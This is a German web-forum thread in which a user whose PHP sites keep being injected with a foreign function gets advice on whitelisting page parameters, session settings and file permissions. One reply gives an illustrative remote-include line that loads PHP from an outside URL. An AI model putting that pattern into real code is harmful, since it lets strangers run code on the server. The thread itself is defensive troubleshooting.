• Das Erstellen neuer Accounts wurde ausgesetzt. Bei berechtigtem Interesse bitte Kontaktaufnahme über die üblichen Wege. Beste Grüße der Admin

Virus auf allen meinen Seiten?

danke für deinen Vorschlag ZeitGeist! Die Peramenter zu mappen finde ich gut, das werde ich so machen.

Das mit der Switchabfrage hab ich nicht ganz verstanden. Meinst du das vielleicht so:
PHP:
<?
if($_SESSION['userInfo']->loggedIn)
	switch ($go) 
	{        
	    case 'Adventure Mode':
	    	include 'adventureMode.php';
	    case 'Char-Elements Editor'
	    	include 'char_elements_editor.php';
	}
?>
 
Der erste Vorschlag von Lioba macht doch das gleiche und ein dispatcher der weiterleitet ist durchaus eine übliche Sache

Wenn ich PHP richtig verstehe, kann du folgendes machen:
Code:
include('http://irgendeineseite.xx/test.php');
und wenn test.php als php Code ausgeliefert wird, wird der Code bei dir auf dem Server ausgeführt, d.h. niemand braucht ein Passwort. Ich weiß aber nicht ob das wirklich geht, aber PHP ist teuflisch.
 
... aber PHP ist teuflisch.
PHP ist nicht teuflischer als andere Skript-/Programmiersprachen. Sicherlich ist der Einstieg in PHP leichter als in andere Sprachen, allerdings sind die Skripte die meist online gehen oft irgendwoher zusammengeklaubt, ohne dass sie wirklich verstanden worden sind (ich unterstelle jetzt nicht, dass das hier gemacht wurde). Und wenn man nicht hinterfragt warum etwas "geht" und welche Nebeneffekte man sich damit erkauft und auch sonst keine Erfahrung hat, dann ist man vermutlich happy, _dass_ es "geht" und wird eben von den Folgen überrascht.
Wenn man defensiv programmiert, kann man aber vieles davon verhindern, wie auch in diesem Fall.
 
Naja, ich finde eine Funktion, die Code von einer fremden Quelle einbinden kann teuflisch, auch wenn sich das durch defensive Programmierung vermeiden läßt.
 
Naja, ich finde eine Funktion, die Code von einer fremden Quelle einbinden kann teuflisch, auch wenn sich das durch defensive Programmierung vermeiden läßt.
Jede Skript-/Programmiersprache hat eine Schieß-Dich-selbst-ins-Knie-Option. Nicht jede davon mündet zugegebenermaßen in einem Remote-Exploit.
 
Ich verstehe was ich mache, aber in meinen Anfängen habe ich schon einige dinge "zusammengeklaut".
Aber um wieder aufs Thema zurückzukommen, soll ich diese Switchabfrage denn so lassen oder ist sie nicht sinnvoll? So scheint sie doch sicher zu sein oder?

Und ich möchte immer noch wissen, wie man in meinen Quelltext etwas reinschreiben kann wie diese seltsame Funktion, die ich oben gepostet habe. Das geht doch bestimmt nicht indem ich Variablen über die URL manipuliere...
 
Aber um wieder aufs Thema zurückzukommen, soll ich diese Switchabfrage denn so lassen oder ist sie nicht sinnvoll? So scheint sie doch sicher zu sein oder?
Ja, aber ich hätte eher deine erste Version genommen.

Und ich möchte immer noch wissen, wie man in meinen Quelltext etwas reinschreiben kann wie diese seltsame Funktion, die ich oben gepostet habe. Das geht doch bestimmt nicht indem ich Variablen über die URL manipuliere...
Dir ist nicht klar, dass das Skript von der fremden Seite auf deinem Rechner/Server läuft, d.h. es kann genau das tun, was deine Skripte auch tun können, z.b. das was Albu gezeigt hat.
 
Ich habe mal gegoogelt und brauche euch deswegen nicht mehr so mit Fragen löchern. Hier steht eine gute ausführliche Antwort wie Hacker vorgehen und was man dagegen tun kann:
O'Reilly Web und Internet Center
Sehr wissenswert was man so alles mit übergebenen Variablen anstellen kann...
 
danke für deinen Vorschlag ZeitGeist! Die Peramenter zu mappen finde ich gut, das werde ich so machen.

Das mit der Switchabfrage hab ich nicht ganz verstanden. Meinst du das vielleicht so:
PHP:
<?
if($_SESSION['userInfo']->loggedIn)
	switch ($go) 
	{        
	    case 'Adventure Mode':
	    	include 'adventureMode.php';
	    case 'Char-Elements Editor'
	    	include 'char_elements_editor.php';
	}
?>

ja, so ungefähr meinte ich das. Allerdings solltest du zwischen nach jedem include noch ein break; einbauen, sonst werden alle nachkommenden cases auch ausgeführt.

Ich hätte die Parameter noch angepasst. von Adventure Mode komme ich sehr schnell auf die Idee das es eine adventureMode.php seite geben könnte und dann kann ich ja mal ausprobieren was die so macht und mit welchen Parametern ich die füttern könnte.

mein ansatz wäre eher dieser:

global definiert
PHP:
define("ADVENTURE_MODE", 1);
define("CHAR_ELEMENTS_EDITOR", 2);

Verwendung in Links:
PHP:
<a href="index.php?site=<?php echo ADVENTURE_MODE ?>">...</a>

Parameterauswertung
PHP:
<?
switch ($go) 
{        
   case ADVENTURE_MODE:
 	include ('adventureMode.php');
        break;
    case CHAR_ELEMENTS_EDITOR:
   	include ('char_elements_editor.php');
        break;
}
?>
 
ah vielen dank für deine erklärung! Das macht den Code dann auch nicht unverständlich.

Ich arbeite auf meinen Seiten mit diesem Codestückchen:
PHP:
<?
if(empty($_SESSION) OR !isset($_SESSION))
	ini_set('session.use_trans_sid', 1);
session_start();
?>

...und lese gerade nach, inwiefern es eine Sicherheitslücke darstellt...
Und ich musste alle Seiten vom Server nehmen und mein aktuelles Projekt komplett nach Sicherheitlücken überprüfen und dementsprechend umschreiben -.-

EDIT:
Ich habe mich ein wenig schlau gemacht und herausgefunden, dass man die sessionID auch mithilfe von Cookies speichern kann. So soll verhindert werden, dass die sessionID geklaut wird.

Ich möchte jetzt gerne wissen, ob folgender Code sicher vor Fremdmanipulation ist:

phpconfig:
PHP:
<?
[...]
if(empty($_SESSION) OR !isset($_SESSION))
{
	ini_set('session.use_trans_sid', 0);
	ini_set('session.use_only_cookies', 1);
}
session_start();
[...]
?>

eine Datei, die per AJAX aufgerufen wird:
PHP:
<?
//Konfiguration (s.o. einfügen)
include("../phpconfig.php");
if($_SESSION['adminarea']->loggedIn == true)
//ist man eingeloggt?
{
	include("functions_objects.php");
	include("functions_areatool.php");

	//Postvariablen übergeben
	$x = $_POST['x'];
	$y = $_POST['y'];
	$typ = $_POST['typ'];


	if($_SESSION['object_editor']->ObjectID AND is_numeric(($_SESSION['object_editor']->ObjectID))
	{
		//Datenbaknkzugriff
	
	}
	else
		echo "ObjektID nicht akzeptiert!";
}
else
	echo "Nicht eingeloggt!";
?>
Es könnte doch sein dass jemand $_SESSION['adminarea']->loggedIn irgendwie manipulieren kann, oder?
 
Zuletzt bearbeitet:
@Zeitgeist:
Ich habe deinen Code etwas umgeschrieben, weil ich einen Unterschied zwischen freien Links ohne und Adminlinks mit Einloggen machen muss. Dazu müsste ich die einzelnen Konstanten noch mal in Array schreiben, damit PHP den Unterschied kennt. Also hätte ich die Konstanten dreimal aufgeschrieben, was ja nicht unbedingt ökonomisch wäre.
Hierzu hätte ich einen Vorschlag. Was hältst du davon?

PHP:
<?

//++++++++++++++ Linkkonstanten +++++++++++++++++++++

$adminarea = array(
'L_ADVENTURE_MODE',
'L_CHAR_ELEMENTS_EDITOR',
'L_RACE_EDITOR',
'L_AREA_TOOL',
'L_OBJECT_EDITOR',
'L_LOGOUT'
);

$links = array(
'L_LOGIN'
);

//gehe den Array $adminarea durch und teile jedem Element
//eine Konstante zu
foreach($adminarea AS $index => $konstantenName)
{
	define($konstantenName, $index);
	$adminareaNeu[] = $index;
}
//überschreibe den Array Adminarea mit den eben zugewiesenen 
//Zahlen der Konstanten
	$adminarea = $adminareaNeu;

//Das gleiche auch mit dem Array $links machen
[...]

if(in_array($go, $adminarea))
//Liegt go in der adminarea
{
	if($_SESSION['adminarea']->loggedIn == true)
		switch ($go) 
		{        
			case L_ADVENTURE_MODE:
				include ('adventureMode.php');
				break;
			case L_CHAR_ELEMENTS_EDITOR:
				include ('char_elements_editor.php');
				break;
			usw.
		} 
	else
		$ausgabe .= 'Du bist nicht eingeloggt!';
}
elseif(in_array($go, $links))
//liegt go bei den freien links
	switch ($go) 
	{        
		case L_LOGIN:
			include ('login.php');
			break;
	} 
else
    $ausgabe .= 'Diese Seite existiert nicht!';
?>
 
Die Deklaration der Konstanten in der foreach Schleife gefällt mir persönlich nicht. Zum einen arbeite ich mit einer IDE die mir eine code-completion anbietet und die in diesem Fall nicht funktioniert. Zum anderem dient das ja nur um Schreibarbeit zu vermeiden. Meist ein Zeichen dafür das man gerade was komisches macht.

Du müßtest ja sowieso auf den includeten Seiten noch mal prüfen ob der Benutzer eingeloggt ist (sonst ruft er die Seite einfach so auf). Dementsprechend müßtest du beim Switch doch noch garnicht wissen ob der Benutzer eingeloggt ist. Wie auch immer ich würde dieses Array und diese Deklaration der Konstanten nicht so machen.

Mal ganz spontan
PHP:
$i = -1;
define('L_ADVENTURE_MODE', $i--);
define('L_CHAR_ELEMENTS_EDITOR', $i--);
define('L_RACE_EDITOR',$i--);
define('L_AREA_TOOL',$i--);
define('L_OBJECT_EDITOR',$i--);
define('L_LOGOUT'$i--);

$i = 1;
define('L_LOGIN', $i++);


if($go < 0)
//Liegt go in der adminarea
{
    if($_SESSION['adminarea']->loggedIn == true)
        switch ($go) 
        {        
            case L_ADVENTURE_MODE:
                include ('adventureMode.php');
                break;
            case L_CHAR_ELEMENTS_EDITOR:
                include ('char_elements_editor.php');
                break;
              default :
            $ausgabe .= 'Diese Seite existiert nicht!';
        } 
    else
        $ausgabe .= 'Du bist nicht eingeloggt!';
}
else
{
//liegt go bei den freien links
    switch ($go) 
    {        
        case L_LOGIN:
            include ('login.php');
            break;
        default :
            $ausgabe .= 'Diese Seite existiert nicht!';
    } 
}
   
?>
 
Das ist ein sehr schöner Vorschlag! Danke, den werde ich genauso umsetzen.
Und du hast Recht, dass auf jedem Script noch einmal gesondert die Login-Session überprüft werden muss. Das habe ich auch gemacht ich hab nur nicht darüber nachgedacht, dass eine vorherige Prüfung dadurch wegfallen kann.

Ich glaube das wär's erst mal mit meinen Fragen...
Ich überprüfe jetzt jedes $_POST, $_REQUEST und $_FILE auf seine Konsistenz....
 
Ich habe immer noch Probleme. Obwohl ich jetzt alles überprüfe, konnte sich die Funktion wieder in eine meiner seite reinhacken. In die andere glücklicherweise nicht. Weil ich aber nicht weiß, was ich noch alles überprüfen soll (ich habe bereits mehrere seiten zum thema gelesen), wollte ich eine sicherheitssoftware benutzen. Ich habe allerdings nur zwei gefunden: Acunetix Web Vulnerability Scanner und Maui Security Scanner von denen das erste Programm eine Trialversion anbietet, die nur auf cross scripting untersucht (Programmvollpreis um 1000 $). Maui konnte ich gar nicht erst starten weil ich eine lizenz brauchte, dessen Anmeldeformular nicht funktionierte...

Nun möchte ich wissen ob ihr noch andere softwares kennt, die websites untersuchen. Ich hab schon selbst viel gegoogelt aber keine anderen programme gefunden...
 
Ich brauche eure Hilfe: Ich habe jetzt alles dynamische von meinem Server gelöscht, es gibt nur noch eine index.php, die allerdings statisch ist und nur aus html besteht. Aber die Funktion hat sich wieder eingehackt. Wie geht das? Könnte es von einem Virus von meinem Rechner aus gehen? Ich bin wirklich ratlos. Könnt ihr mir nicht weiterhelfen?

(Obrigen Beitrag könnt ihr auslassen, die Situation hat sich geändert. Das Viren-Programm kann keinen PHP code benutzen, da es keinen gibt...)

Bitte helft mir weiter... ich weiß nicht was ich sonst noch machen könnte....
 
Bitte helft mir weiter... ich weiß nicht was ich sonst noch machen könnte....
Das Einzigste, was mir noch einfällt:
- sämtliche Passworte geändert?
- Verzeichnisrechte so eingestellt, dass kein Zugriff durch andere Benutzer auf dem gleichen Rechner stattfinden können (vielleicht kommen die Leute über den fehlerhaften Auftritt eines anderen Benutzers rein, dessen Seiten auf dem selben Server gehalten werden)

Ich befürchte ansonsten läßt sich aus der Ferne nicht viel weiterhelfen.
 
danke albu für deine antwort. Ich kann mir auch nichts anderes vorstellen, alsdass jemand anders noch rechte auf den server hat.
Passworte habe ich auch bereits geändert. Eigentlich kann es nicht an mir liegen...
ich muss mich nochmal mit dem provider in Kontakt setzen oder ganz einfach: den server wechseln ....
 
danke albu für deine antwort. Ich kann mir auch nichts anderes vorstellen, alsdass jemand anders noch rechte auf den server hat.
Passworte habe ich auch bereits geändert. Eigentlich kann es nicht an mir liegen...
ich muss mich nochmal mit dem provider in Kontakt setzen oder ganz einfach: den server wechseln ....
Welche Rechte hast Du denn den Verzeichnissen gegeben? Ich kenne das Setup nicht und kann nicht reinschauen, aber normalerweise sollte nur der FTP Benutzer Schreibrechte auf die Dateien und Ordner besitzen.
 
Zurück
Oben